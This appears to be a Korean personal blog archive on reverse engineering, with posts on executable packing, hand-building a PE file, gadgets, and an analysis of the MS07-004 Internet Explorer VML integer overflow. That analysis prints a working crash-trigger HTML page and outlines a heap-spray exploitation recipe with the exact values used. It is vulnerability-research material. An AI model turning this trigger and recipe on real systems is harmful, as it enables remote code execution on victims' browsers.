Mafia의 진실
Mafia의 진실 2010.02.10

낚시성 제목에 방문하신 분께는 죄송합니다. 이 글은 오래전부터 twitter 사용자들을 대상으로 퍼져나가고 있는 'Mobster world'라는 온라인 MMORPG 게임과 관련된 글입니다. 트위터 사용자 분들 중에는 위와 유..

iPhoto 슬라이드 쇼

트위터에 질문이 하나 올라와 짧게 작성해봤습니다. iPhoto에서 슬라이드 쇼 생성하는 방법입니다. 1. 먼저 사진 메뉴에서 슬라이드 쇼에 추가할 사진을 선택합니다. 사진 선택은 Command 키와 마우스를 이용합니다. 2...

노키아에서 동작하는 Mac OS X 10.3

핀란드에 사는 Toni Nikkanen이라는 분이 자신의 Nokia N900 모델에 Mac OS 10.3 Panther를 설치하고 실행시키는데 성공했다고 합니다. Toni의 블로그에 가보니 Mac OS X 말고도 Windows..

사용자 삽입 이미지
르마딜로(armadillo)입니다. 온몸이 갑옷같은 껍질로 둘러싸여있는 이 녀석은 보호의 대명사입니다.  오라일리에서 패킹/언패킹에 관한 책을 낸다면 아마도 이 녀석을 표지 모델을 쓰지 않을까요.아, 그러고 보니 이미 다른 책의 표지 모델로 한 번 등장했었군요. 여하튼 이 연재물의 첫번째 이야기의 주제는 "패킹을 이해하자"로 정했습니다. 언패킹에 대한 본격적인 이야기를 시작하기 전에 패킹이란 무엇이고 어떻게 이루어지는 지를 알아보는 시간을 갖자는 의미이죠.


Packing 그것이 알고 싶다.

참고. 본 연재는 PE에 대한 기본 개념은 알고 있다는 가정 하에 모든 설명이 진행됩니다. 혹시 아직 PE에 대해 좀 부족하다고 느끼시는 분은 PE를 공부하신 후에 보시는 것이 여러모로 좋겠습니다.

Packing 그냥 편하게 패킹이라고 하겠습니다. 어려운 단어는 아니지만 먼저 사전을 통해 패킹의 의미를 살펴보도록 하죠. 네이버 형님께 여쭤봤습니다.

pack·ing〔〕 n.
1 포장;짐꾸리기
   a packing box 포장용 상자;【기계】 패킹
2 포장 재료, 포장용품, 포장용 충전물(充塡物), 패킹 《삼 부스러기·솜 등》
3 통조림 제조업;《미》 식료품 포장 출하업;《특히》 정육 출하업
4【인쇄】 패킹;【건축】 틈 메우기

흠 포스가 있으십니다. 짧게 대답해 주시네요. ^^; 포장이랍니다. 그렇다면 프로그램을 패킹한다는 것은 프로그램을 포장한다는 의미가 되겠군요. 그렇다면 왜 프로그램을 포장하는 것이 필요할까요? 우리가 일상 생활에서 접하는 포장은 일반적으로 내용물을 보호하기 위한 목적을 가지고 있는 경우가 많습니다. 프로그램을 포장하는 목적도 이와 크게 다르지 않습니다. 프로그램을 패킹하는 주된 이유는 프로그램을 리버싱으로 부터 보호하는 것입니다. 물론 UPX (http://upx.sourceforge.net) 의 예에서 처럼 프로그램의 크기를 줄이기 위한 것도 목적이 될 수 있습니다. 요컨대 프로그램의 사이즈를 줄이거나 프로그램을 리버싱으로 부터 보호하기 위한 방법으로 고안된 기법 중 하나가 패킹이라는 것이죠. 근데 이게 마치 물건을 포장하는 것과 비슷한 모양새를 가지고 있다는 거죠. 어떤 모양이길래 그럴까요? [그림 1]은 패킹 전후 프로그램의 모습을 설명하고 있습니다.

사용자 삽입 이미지

[그림 1] Packing 개념

위의 그림을 간단히 설명드리도록 하겠습니다. 그림 상에서 Target 프로그램은 패킹하려는 프로그램을 의미합니다. 단순히 패킹이 안 된 프로그램의 모양이라고 보시면 되겠습니다. 우측은 패킹된 후 프로그램의 모습입니다. 그림을 보시면 target 프로그램은 압축되거나 암호화 또는 인코딩 된 상태로 새로운 프로그램의 데이터 영역에 저장되어 있습니다. 마치 물건을 상자에 집어넣듯이 원래의 프로그램을 새로운 프로그램안에 집어넣은 것이죠. 실제 포장과 다른 점은 상자안에 내용물을 넣기 전에 가공(압축/암호화/인코딩)을 한다는 점입니다. 상자로 비유된 새로운 프로그램의 주된 역할은 이렇게 데이터 영역에 저장해 둔 원래의 프로그램을 메모리에 로드한 후 실행이 가능하도록 조작하는 것입니다. 더불어 여러가지 안티 리버싱 기법을 적용하여 원래의 프로그램을 리버서에게 감추는 역할도 담당하고 있습니다. ^^; 그다지 어려운 개념은 아닐 거라 생각합니다.

오늘날 패킹이라는 기법은 많은 개발 회사에서 자사의 제품을 보호하기 위해서도 사용하지만, 악성코드 제작자들 역시 분석을 어렵게 하기 위한 목적으로 패킹을 사용하곤 합니다. 이러한 이유로 악성코드 분석을 위해 또는 일반적인 프로그램의 리버싱을 위해 반드시 익혀야 할 기술 중 하나가 바로 언패킹이 되는 것이죠. 언패킹 자체는 그다지 어려운 작업은 아닙니다. 문제는 패킹을 하면서 여러가지 장애물들을 설치해 놓아서 분석 시간이 더뎌지거나 심지어 포기하는 지경에 이르게 되는 것이죠. 그 장애물이란 다름 아닌 각종 안티 리버싱 기법들입니다. 따라서 자유 자재로 언패킹을 하기 위해서는 각 종 안티 리버싱 기법을 이해하고 이를 우회 내지는 분석 방법에 대해서 잘 알아두는 것이 필요하겠습니다. 이러한 내용들은 이어지는 글에서 자세히 다룰 것입니다.

오늘은 워밍업삼아 여기까지만 알아보도록 하겠습니다. 다음에는 몇 가지 간단한 실험을 통해 패킹에 대한 이해의 깊이를 더하고 언패킹은 어떻게 이루어지는지 알아보도록 하죠. 즐핵하세요.

Posted by zesrever
고맙게도 부족한 글을 읽어주시고 격려해주시는 분들께 감사의 말씀을 전합니다. 오늘 쓴 글을 검토해보니 군데 군데 빠진부분과 오타, 설명이 애매하거나 잘못된 부분들이 좀 있네요. 빠른 시일내로  수정하고 보충하여 PDF로 변환해서 올려드리겠습니다. PE에 대한 연재는 Export에 관한 부분만 다루고 마칠 생각입니다.

Posted by zesrever
래 물건에 뭐에 쓰는 것이고 어디에 쓰는 것일까요.. 벨킨에서 나온 마우스라는데 당최 봐도 어떻게 쓰는 물건인지 모르겠습니다. 뭐 낚으려는 건 아니구요... 뭐... 리버싱이 꼭 코드를 대상으로 하는 건 아니지 않습니까.. ^^;; 외국 사람들은 그래서인지 리버스 엔지니어링은 보다 넓은 개념으로 사용하고 국내에서 리버스 엔지니어링이라고 칭하는 소프트웨어를 타겟으로 하는 리버싱을 리버스 코드 엔지니어링이라고 하더군요.              
                                                              
사용자 삽입 이미지

 아뭏든.. 이 물건 어케 쓰는 물건입니까.. 호기심때문에 참을 수가 없습니다. 그렇다고 지를 수도 없고.. ^^;;  가장 궁금한 건 마치 지문 인식 장치의 스캐너 처럼 생긴 부분이 뭐하는 것인지, 우측 하단에 LED 닮은 녀석들은 뭐하는 녀석들인지 어떻게 쥐고 어떻게 쓰라는 건지..
저 키패드처럼 생긴 건 겉에 쓰인 걸로 봐서는 방향키 처럼 보이기도 하고, 얼핏보면 숫자 키패드 처럼 보이기도 하는데 개수를 세어보니 일반 숫자 키패드하고는 키의 개수가 맞지를 않네요. 프로그래머블 키패드? 그렇다쳐도 손으로 쥐고 저거 누를 수 있는 건지... 

우측 버튼처럼 생긴 녀석이 일반 마우스의 브튼 같은 넘이라면 참 클릭하기 불편할 것 같은데..
당최 알 수 없는 녀석입니다.
 
이거 디자인 사람이 어떤 분인지 참 상상력이 대단한 것 같습니다.
Posted by zesrever

아는 분께서 사용 리버싱 툴에 대해서 질문해오셔서 주저없이 몇 개의 툴을 추천해 드렸습니다. 그 중에  Inspector(http://www.hbgary.com)도 포함되어 있었는데요. 물론 써 본적은 없지만 BlackHat 발표 자료와 시연 동영상을 보고  반했던 툴이었기 때문에 과감히 추천을 했죠. 생각해보니 Exploiting Online Game이라는 책에서도 본 것 같습니다.  Active Reversing이라는 효과적인 리버싱 방법론을 제시하는 툴입니다. (그러고 보니 요즘 스텔스 리버싱이네, 액티브 리버싱이네 하는 리버싱 방법론들이 속속 등장하는 것 같습니다. ) 시연 동영상 중 하나는 첨부해 두었습니다. (동영상으로 포함시키려니 해상도가 너무 낮아서 제대로 감상하기가 곤란하네요)





서글픈 사실은 일단 저 툴은 아직은 해외로 수출이 안된다고 하네요. 수출 허가를 받는 중이라 내년쯤 되어야 수출이 가능할 것 같다는 담당자의 이야기입니다. 그리고 저의 마음을 가장 아프게 하는 사실은 버전이 필드에디션, 프로페셔널 에디션, 랩에디션이 있다는데 기능을 다 갖춘 프로페셔널의 경우 2천만원가까이 하는 것 같습니다. 한마디로 저처럼 프리랜서로 살아가는 사람들은 접해볼 수 없는 툴이라는 거죠. 이럴 때 전 프리랜서를 그만두고 싶습니다. ㅠ.ㅠ;; 

담배한대 태우면서 생각해보니 몇 가지  방법이 있군요.

 * 무협지에 등장하는 나뭇가지 하나 꺾어 검으로 삼는 절대 고수들 처럼, 저런 툴 없이도 IDA, 노트패드만으로 리버싱이 가능한 경지에 이르거나...
 * 아님 미쳐서 저런 툴을 만들거나...
 * 저런 툴 사주는  회사에 들어가거나..
 * 로또 맞아서 한 카피정도 구입하거나 ...
 * 아님 그냥 이대로 살거나...

Posted by zesrever

사용자 삽입 이미지
* 이미지는 마루님의 블로그(http://blog.naver.com/machassa)에서 빌려왔습니다.

과메기의 계절이군요. 작년 요맘때 쯤엔 일주일에 두번 정도는 과메기를 먹었던 것 같습니다. 올해는 아직 맛도 못봤네요. 과메기에 소주한잔 어떠십니까? 밤이 깊어지니 친구가 그립고, 소주한잔이 그립네요.


Posted by zesrever

덟번째 이야기입니다. 연재도 거의 끝이 보입니다. ^^; 이번 이야기는 섹션 테이블에 관한 이야기입니다. (익스포트에 관해서는 PE 파일을 다 만든 다음에...)만들던 PE 파일 마저 조립해야죠. 이번 이야기 마지막에는 PE 파일을 완성할 수 있을 것입니다. 고고싱~~

섹션 테이블은 IMAGE_SECTION_HEADER 타입의 엘리먼트로 구성된 배열입니다. 섹션 헤더는 섹션의 이름, 섹션의 파일 상에서의 위치 및 사이즈 정보, 메모리 상에서의 위치 및 사이즈 정보 그리고 메모리 상에서의 속성 값에 대한 정보를 가지고 있습니다.  요컨대 섹션 헤더에는 로더가 각 섹션을 메모리에 로드하고 속성을 설정하는데 필요한 정보들이 담겨져 있는 것입니다. 아 그러고 보니 섹션에 대한 이야기를 빠뜨렸군요. 섹션은 동일한 성질의 데이터가 저장되어 있는 영역이라고 생각하시면 되겠습니다.  섹션은 왜 필요할까요? 이는 윈도우에서 사용하는 메모리 프로텍션 매커니즘과 연관이 있습니다. 윈도우의 경우 메모리 프로텍션의 최소 단위가 페이지입니다.  페이지 단위로 PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READONLY, PAGE_READWRITE 같은 속성을 설정해두고 속성에 위배되는 오퍼레이션을 시도할 때 Access violation을 발생시켜 메모리를 보호한다는 이야기입니다. 다시 말해 페이지의 일부는 읽기만 가능하고, 페이지의 일부는 읽고쓰기가 가능하도록 설정하는 방식의 프로텍션은 허용하지 않는다는 이야기죠. 이는 성격이 다른 데이터들을 하나의 페이지에 담을 수 없다는 것을 의미합니다. 그렇다보니  프로그램에 포함된 데이터들 중 읽기와 실행이 가능해야 하는 데이터 즉 실행코드와 읽고 쓰는 것이 가능한 데이터, 읽기만 가능한 데이터등을 별도의 페이지에 두어야 하는데 로더에 입장에서는 이를 구분할 방법이 없으므로 섹션이라는 개념을 두어 실행 파일 생성 단계에서 구분해 놓도록 하는 것입니다.


IMAGE_SECTION_HEADER는 아래와 같이 정의되어 있습니다.

typedef struct _IMAGE_SECTION_HEADER {
  BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
  union {
    DWORD PhysicalAddress;
    DWORD VirtualSize;
  } Misc;
  DWORD VirtualAddress;
  DWORD SizeOfRawData;
  DWORD PointerToRawData;
  DWORD PointerToRelocations;
  DWORD PointerToLinenumbers;
  WORD NumberOfRelocations;
  WORD NumberOfLinenumbers;
  DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

지금까지 해왔던 것처럼 중요한 필드들만 살펴보도록 하겠습니다.

Name : 섹션의 이름입니다. 최대 사이즈는 8bytes이구요. IMAGE_SIZEOF_SHORT_NAME이 8이라는 거죠. 이 필드와 관련해서 기억해야 할 것은 Name은 로딩 과정과는 아무 상관이 없다는 것입니다. 로더는 이 값을 거들떠 보지도 않습니다. -.-;; 섹션의 이름은 마음대로 정할 수 있으며 심지어 널이어도 관계가 없습니다. 섹션 이름은 C언어에서의 문자열과는 달리 NULL로 끝나지 않아도 됩니다.

VirtualAddress : 섹션이 로드될 가상 주소를 나타내는 필드입니다. PE 포맷 내에서 모든 가상 주소값이 그렇듯이 이 필드 역시 RVA 값입니다.

SizeOfRawData : 이 필드는 파일 상태에서의 섹션의 사이즈 값을 가지고 있습니다. 물론 file alignment의 배수이어야 하겠죠.

PointerToRawData : 파일 상태에서의 섹션의 시작 위치를 나타냅니다.

Characteristics : 섹션의 속성 값입니다. 속성 값 중 중요한 것들은 글의 서두에서 언급했던 것처럼 메모리 프로텍션과 관련된 것들로 excute, read, write 등이 있습니다.

요컨대 로더는 PointerToRawData가 지정한 곳에서 부터 SizeOfRawData 만큼의 데이터를 읽어들여 VirtualAddress에 맵핑한 후에 Characteristics에 설정된 속성 정보를 이용하여 페이지 프로텍션을 적용하는 것입니다. 나머지 필드의 값은 지금은 그다지 중요하지 않으므로 생략하도록 하겠습니다.
 
뭐 별거 없지 않습니까? ^^; 바로 PE 파일을 만들어 보도록 하겠습니다. 만들면서 아래의 그림을 참조하도록 하세요.

사용자 삽입 이미지

 [그림 1]  제작 중인 파일의 섹션 레이아웃

Step 1. 섹션 테이블을 위한 공간을 할당합니다.
IMAGE_SECTION_HEADER의 사이즈는 40bytes이며, 섹션 테이블에는 섹션의 개수와 동일한 수의 IMAGE_SECTION_HEADER가 필요하므로 120bytes 공간을 할당하면 됩니다. (앞서의 글에서 우리는 실행코드를 위한 섹션과 데이터를 위한 섹션 그리고 임포트 테이블을 구성하기 위한 섹션을 만들것이라고 이야기했습니다. 또한 섹션의 개수는 PE헤더에 기록되어 있음을 떠올려보세요. 만약 섹션의 개수가 어딘가에 기록되어 있지 않다면 로더의 입장에서 섹션의 개수를 알 수 없으므로 섹션 테이블의 끝을 나타내는 IMAGE_SECTION_HEADER가 하나 더 추가되어야 할 것입니다.)

Step 2. 실행 코드를 위한 섹션 헤더를 완성해 보도록 하겠습니다.
- 먼저 섹션의 이름은 일반적으로 컴파일러가 하는 것처럼 .text로 하도록 하겠습니다.

- 그 다음으로 채워야 할 값은 VirtualSize입니다. 이 필드에는 섹션 영역의 실제 사이즈를 채워넣으면 됩니다. 우리가 사용할 코드는 32bytes사이즈를 가지고 있습니다. 따라서 VirtualSize는 리틀엔디언임을 고려하여 20 00 00 00 으로 채우면 되겠습니다.

- 그 다음으로 채워야 할 값은 VirtualAddress 입니다. .text 섹션의 VirtualAddress는 [그림 1]에서 볼 수 있는 것처럼 0x1000이 됩니다. 따라서 00 10 00 00 으로 채우면 되겠습니다.

- 그 다음으로 채워야 할 값은 SizeOfRawData입니다. 역시 [그림 1]을 참고하여 0x200으로 하도록 합니다. 이는 코드의 사이즈가 32bytes이고 앞서의 글에서 PE 헤더의 FileAlignment 값을 0x200으로 설정하였기 때문입니다. 00 02 00 00 으로 채우면 되겠습니다.

- [그림 1]을 살펴보면 PointerToRawData 값은 0x200 임을 알 수 있습니다. 실행코드의 실제 사이즈가 32bytes이고 이는 앞에서 설정한 FileAlignment 단위인 0x200(512bytes)보다 작기 때문에 패딩을 추가해야 하기 때문입니다.(이해가 되지 않으시면 앞의 글들을 다시 확인해 보세요) 00 02 00 00 으로 채우면 되겠습니다.

- PointerToRelocations 부터 NumberOfLinenumbers 까지의 12bytes는 모두 0으로 채웁니다.
 
- Characteristics를 채울 차례군요. .text 섹션에 실행 코드를 두어야 하므로 CODE, MEM_READ, MEM_EXECUTE 속성을 지정할 것입니다. 이 값은 0x60000020 입니다. 이 값에 대한 내용은 구글신에게 기도를 드려보세요. 20 00 00 60 을 채워넣으면 되겠습니다.

지금까지의 작업 내용은 아래와 같습니다.

사용자 삽입 이미지

 [그림 2] 완성된 .text 섹션 헤더의 모습


Step 3. .data 섹션을 위한 헤더를 완성합니다.
[그림 3]은 [그림 1]을 참고하면서 완성한 .data 섹션 헤더의 모습입니다. 속성값은 C0000040으로 설정하였는데 이는 INITIALIZED, MEM_READ, MEM_WRITE를 의미하는 값입니다.

사용자 삽입 이미지
 [그림 3] 완성된 .data 섹션 헤더의 모습

Step 4. .rdata 섹션을 위한 헤더를 완성합니다.
앞에서와 마찬가지로 .rdata 섹션을 위한 섹션 헤더를 완성한 모습이 아래 [그림 4]입니다. 속성값은 40000040으로 설정하였는데 이는 INITIALIZED, MEM_READ를 의미하는 값입니다. 우리는 .rdata 섹션에 임포트 테이블을 둘 것입니다.(요즘의 컴파일러들은 우리와 달리 임포트 테이블을 별도의 섹션에 두지 않고 .코드 섹션이나 데이터 섹션에 임포트 테이블을 두는 경향이 강한 것 같습니다.)

사용자 삽입 이미지
 [그림 4] 완성된 .rdata 섹션 헤더의 모습

Step 5. .text 섹션을 생성하고 내용을 채워 넣습니다.
섹션 테이블을 드디어 완성했습니다. 이제는 섹션을 만들차례입니다.
 
먼저 .text 섹션을 생성하기 전에 FlieAlignment를 고려하여 0x1FF까지 0x00을 패딩합니다.  우리는 FileAlignment를 0x200으로 설정하였으므로 첫번째 섹션인 .text 섹션은 아래 [그림 5]에서 볼 수 있는 것처럼 0x200에서 시작합니다. 패딩을 끝냈으면 섹션을 위한 영역을 할당해야 겠습니다. 우리가 사용할 코드의 사이즈는 32bytes 이지만 역시 FileAlignment를 고려해야 하므로 512bytes만큼의 빈 공간을 추가하면 되겠습니다.

끝으로 첨부된 code.bin을 복사하여 0x200 위치에 붙여넣으면 됩니다. 완성된 모습은 아래와 같습니다.
사용자 삽입 이미지

 [그림 5] 완성된 .text 섹션의 모습

Step 6. .data 섹션을 생성하고 내용을 채워 넣습니다.
앞의 단계에서와 마찬가지로 512bytes 공간을 추가한 다음 첨부된 data.bin을 복사하여 0x400에 붙여 넣습니다. 완성된 모습은 아래와 같습니다.

사용자 삽입 이미지
 [그림 6] 완성된 .data 섹션

Step 7. .rdata 섹션을 생성하고 임포트 테이블을 완성합니다.
이 부분은 앞에서의 다른 섹션과 달리 직접 수작업으로 완성해 가도록 하겠습니다. .rdata 섹션의 시작점에 임포트 테이블을 작성할 것입니다. 임포트 테이블 및 관련 정보의 모양은 [그림 7]과 같습니다. 우리가 사용하는 코드는 MessageBoxA를 이용하여 메시지 박스를 띄우는 프로그램입니다. MessageBoxA는 user32.dll에서 익스포트하는 API입니다. 이를 염두해 두시고 아래 그림을 살펴보시기 바랍니다.

사용자 삽입 이미지
 [그림 7] 임포트 테이블 및 관련 정보 레이아웃

[그림 7]과 여섯번째 이야기의 [그림 2]를 참고하여 데이터를 채워나가면 아래와 같습니다. (사이즈를 줄이기 위해서 위의 배치를 조금 변경할 수도 있습니다. 하지만 KISS 원칙에 입각하여 ㅋㅋ 무식하게 채웠습니다.) 참고로 오디널값은 00으로 채워도 무방합니다. 이러한 경우 로더는 뒤에 나온 이름을 이용하여 함수의 주소값을 찾게 됩니다.

사용자 삽입 이미지
 [그림 8] 완성된 임포트 테이블 및 관련 데이터의 모습

Step 8. 자 이제 데이터 디렉토리에 임포트 테이블의 주소(RVA)와 사이즈를 기록해야 겠습니다.

다섯번째 이야기에서 데이터디렉토리를 위한 공간 128bytes를 생성한 바 있습니다. 그 때 생성한 데이터 디렉토리의 파일 상의 offset은 확인해 보시면 0xB8입니다. 각 엔트리의 사이즈는 8bytes이며 IMPORT_DIRECTORY_ENTRY_IMPORT는 두번째 엔트리이므로 우리는 0xC0에 임포트 테이블에 대한 VirtualAddress와 Size를 차례대로 채워넣어야 겠습니다. VirtualAddress에는 00 30 00 00 을 입력하고 Size는 60 00 00 00 으로 입력하면 됩니다. 완성된 데이터 디렉토리의 모습은 아래와 같습니다.

사용자 삽입 이미지
 [그림 9] 완성된 데이터 디렉토리의 모습(일부)

Step 9. 짜잔!!!!  드디어 완성입니다. 실행시켜보겠습니다.

사용자 삽입 이미지

 [그림 10] 우리의 첫번째 작품입니다.

잘 실행되셨습니까? 축하드립니다.


점프 테이블
이번 글을 끝내기 전에 한가지 언급해야 할 일이 있습니다. 다름 아닌 점프 테이블에 관한 이야기입니다. 지금까지 알아본 내용을 바탕으로 생각해보면 컴파일러는 컴파일을 수행할 때 임포트한 API의 주소를 알 수가 없습니다. (pre binding 기능 역시 링커가 해주는 것이죠) 그렇다면 CALL MessageBoxA와 같은 코드는 어떤 형식으로 컴파일 될까요? 완성된 코드를 Ollydbg로 열어 그 매커니즘을 확인해보세요. 아래 간단한 설명을 달아 놓았습니다. 조금만 생각해보시면 쉽게 이해하실 수 있을 것이라 믿습니다.
사용자 삽입 이미지
 [그림 11] ollydbg에서 확인한 점프 테이블


지금까지 PE 파일의 대략의 구조를 살펴보면서 손수 실행 파일을 만들어보았습니다. 재미있으셨는지 모르겠네요. 이제 연재도 끝나가네요. 다음번에는 마지막으로 익스포트에 대해서 알아보도록 하겠습니다. 나머지 재배치나 리소스 섹션에 대한 이야기는 인터넷 상에 자료가 많으니 별도로 공부하시기 바랍니다. 이호동씨의 책에도 매우 자세히 잘 나와있습니다. 오늘도 즐핵하세요_~

* 제 잘못된 습관 중 하나가 글을 쓴 후 잘 읽지를 않는 것이어서 오탈자도 많을 테고, 내용상 오류가 있을 지도 모르겠습니다. 댓글달아주시면 수정하도록 하겠습니다.


첨부파일 1. 코드섹션


첨부파일 2. 데이터섹션

Posted by zesrever

분석에 도움되는 주요 내용들만 올렸습니다. 블로그 내용외의 질문은 별도로 해주세요.

개요
MS Security Bulletin에 공개된 정보는 아래와 같습니다.

사용자 삽입 이미지

굳이 취약점의 유형을 분류하자면 wrap around에 의한 integer overflow로 분류할 수 있겠습니다.취약점으로 인해 힙 영역에서 오버플로우가 유발되어 Virtual function table을 덮어쓰는 것이 가능합니다.


바이너리 디핑


패치 대상
MS07-004 패치 대상은 vgx.dll 입니다. 패치가 이루어진 vgx.dll의 버전은 한글 XP를 기준으로 6.0.2900.3051 입니다.

패치 히스토리 검토
VML에 관한 마지막 패치는 MS06-055에서 이루어졌습니다. MS06-055 취약점이 패치된 vgx.dll의 버전은 한글 xp를 기준으로 6.0.2900.2997 입니다.

바이너리 디핑 결과
가난한 관계로 EBDS를 사용하였습니다. BinDiff 기증해주시면 1년 내내 취약점 분석해 드리겠습니다. ^^;; (BinDiff를 써보고 싶은 1인)

아래는 디핑 결과입니다..

사용자 삽입 이미지



 CVMLRecolorinfo의 멤버함수인 InternalLoad에 취약점이 존재합니다. Match rate는 0.9677 입니다. 디핑 그래프는 아래와 같습니다.


사용자 삽입 이미지


전형적인 오버플로우 패치의 모습을 보입니다. 패치된 코드 내용을 분석하면 아래와 같습니다.

사용자 삽입 이미지


취약점 검증 및 익스플로잇 작성

취약점을 분석하기 위해 사용한 html 페이지입니다.  이 전에 몇가지 분석 작업이 더 있었습니다만, 다음의 주석만으로도 충분히 이해가능하리라 봅니다.

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">
<!-- 실험결과 numcolors 값이 2ch와 곱해집니다. 이 값이 충분히 크면 -->
<!-- integer overflow가 발생합니다. -->
<!-- 사용된 값은 0x5D1745D + 2 입니다. -->
<!-- 확인결과 recolorinfoentry의 사이즈가 2ch입니다. 위에서 2개의 recolorinfoentry를 -->
<!--위한 공간만 할당하도록 유도하였으므로 3개의 엔트리만으로도 오버플로우가 -->
<!--가능합니다. 역시 분석 결과 오버라이팅되는 부분에 VTBL이 존재함을 알 수 -->
<!--있었습니다.-->

<!-- 각각의 속성 값은 식별을 위해 고유하게 부여하였습니다. -->
<v:recolorinfoentry tocolor="rgb(1,2,3)" recolortype="43690"
lbcolor="rgb(4,5,6)" forecolor="rgb(7,8,9)" backcolor="rgb(10,11,12)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(13,14,15)" recolortype="48059"
lbcolor="rgb(16,17,18)" forecolor="rgb(19,20,21)" backcolor="rgb(22,23,24)"
fromcolor="rgb(25,26,27)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(28,29,30)" recolortype="52428"
lbcolor="rgb(31,32,33)" forecolor="rgb(34,35,36)" backcolor="rgb(37,38,39)"
<v/recolorinfo>
</html>

JIT를 ollydbg로 설정한 후 위 페이지를 오픈한 결과입니다.

사용자 삽입 이미지
Access violation이 발생했음을 알 수 있습니다. 익셉션을 유발시킨 명령어는 0x7CE03634에 있는 CALL DWORD PTR DS:[ECX+10] 이며 이 코드는 mshtml.dll에 위치하고 있습니다. 약간의 리버싱 경험이 있으신 분이라면 이 코드가 가상함수를 호출하는 코드 임을 쉽게 아실 수 있으실 것입니다. 물론 ECX에는 가상함수테이블의 시작주소가 담겨져 있습니다. 또한 우측의 레지스터 윈도우를 보시면 ECX의 값이 CCCC0000임을 확인할 수 있는데 이로서 세번째 recolorinfoentry의 recolortype 속성을 이용하여 ECX의 상위 4bytes를 컨트롤 할 수 있음을 알 수 있습니다. (52428은 0xCCCC 입니다.) 결국 가상함수테이블의 주소를 마음대로 조작할 수 있다는 이야기죠.

익스플로잇 방법
힙스프레이 기법을 이용하면 됩니다. NOP sled로는 적당한 사이즈의  0x05050505.....를 사용하고 그 뒤에 쉘코드를 붙인 후 힙에 뿌렸습니다. (0x05050000 번지 위까지 채웠습니다.) 그 다음 overflow를 유발시키기 위해 numcolors의 값은 97612895(0x5D1745F)를 사용하였고 세 개의 recolorinfoentry만 사용하였으면 ECX의 값을0x05050000이 되도록 조작하기 위해 세번째 엔트리의 recolortype 값을 1285로 설정하였습니다. milw0rm에 LifeAsaGeek님께서 작성하신 PoC가 있으니 참고하시면 될 듯합니다. (최종 모양은 약간 다릅니다)  위에서 분석에 사용되었던 html 페이지를 적당히 수정하고 앞부분에 힙스프레이 하는 부분만 완성하시면 끝!

Posted by zesrever
사용자 삽입 이미지

피해킹키보드 일명 HHK 요넘을 손에 넣은지 한달이 다 되어 갑니다. 지인 중 한명인 맨발군이 선물해준 HHK Lite를 사용하다가 HHK Professional하고 Lite는 하늘과 땅 차이라는 이야기를 듣고 입맛만 다시고 있었습니다. 그러던  어느 날 밤 갑자기 정신이 몽롱해지더군요. 정신을 차리고 나니 손에 신용카드가 쥐어져 있고 화면에는 "주문이 접수되었습니다"라는 문구가 순간 아뿔사 후회하면서 취소할지 말지를 놓고 고민하기를 한참. 마눌님에게 혼날 생각도 하니 겁도 나고... 이 돈이면 3개월 담배값이라는 생각에 담배를 끊을 까 생각도 해보고...

지만 해피해킹키보드와의 첫만남은 참으로 황홀하였답니다. 키감이 굉장히 고급스럽습니다.
기계식 키보드가 주는 조금은 가볍게 느껴지는 경쾌함이나 일반 멤브레인 타입의 키보드에서 느끼는 밋밋함과는 확연히 다른, 좋은 구두를 신고 대리석 바닥을 걷는 듯한, 한번이라도 더 눌러보고 싶은 유혹을 느끼게 하는 그런 키감이 정말이지 한번 빠져들면 헤어나올 수 없을 지경입니다. 체리나  리얼포스 뭐 이런 키보드 써보지는 못했지만 이러한 키감을 주는 키보드가 또 있을까 싶습니다. 약간은 묵직하고 부드러운 느낌을 많이 줍니다.

게다가  해.피.해.킹 이라는 착한 이름까지.  작아서 가지고 다니기도 좋고 책상에서 차지하는 면적도 얼마안됩니다. 어른 손의 세배정도 되는 폭입니다. USB 포트도 2개가 있어 USB 포트가 부족한 노트북 사용자들에게 도움이 되구요. 몇가지 제품 중 저는 사진에 나오는 제품(먹색무각)을 구입하였는데 무각이라는게 은근히 뽀대도 나는군요. 패스워드 칠 때 눈으로 읽힐 염려는 없겠습니다. ^^;;

부수적인 효과입니다만, 몇개월 스타크래프트를 배우느라 스타에 빠져있던 저를 게임의 구렁텅이에서 구해준 것도 요넘입니다. ㅋㅋ 게임용으로 부적합.

오늘밤 지름신을 부르는 주문을 외우세요.

님은 왔습니다.
아아 피하고픈 님은 왔습니다.
빨간 색 볼펜하나 들고, 자포자기 마음 속을 향하여 난 작은 길을 비집고 님은 왔습니다.
마눌님 무서워 굳세게 지켰던 맹세는 한 줌의 티끌이 되어서, 한 번의 클릭에 날아가버렸습니다.

어느새 주문을 완료한 여러분의 모습에 흐뭇해 하실 수 있을 겁니다.
Posted by zesrever
곱번째 이야기입니다. 참 오랜만에 쓰는 글 같습니다. 저도 글을 쓰기 전에 앞에 쓴 글을 다시 읽어봐야 했습니다. 먼소리를 했는지 기억이 안나서... ^^; 암튼 살펴보니, 앞서 이야기에서 ILT에서 임포트할 함수의 이름 또는 ordinal 값을 알아낸 후 이 정보를 이용하여 익스포트 디렉토리(익스포트 테이블)로 부터 함수의 주소를 알아낸다는 사실을 알아보았더군요. 살짝 복습을 해볼까요? Windows XP에 있는 calc.exe 프로그램의 임포트 디렉토리를 찾아  ILT와 IAT를 잠깐 살펴보도록 하죠. 데이터 디렉토리는 그냥 StudPE를 이용하여 확인하도록 하겠습니다.

사용자 삽입 이미지




그림 1. StudPE로 살펴본 calc.exe의 임포트 테이블(임포트 디렉토리) 주소

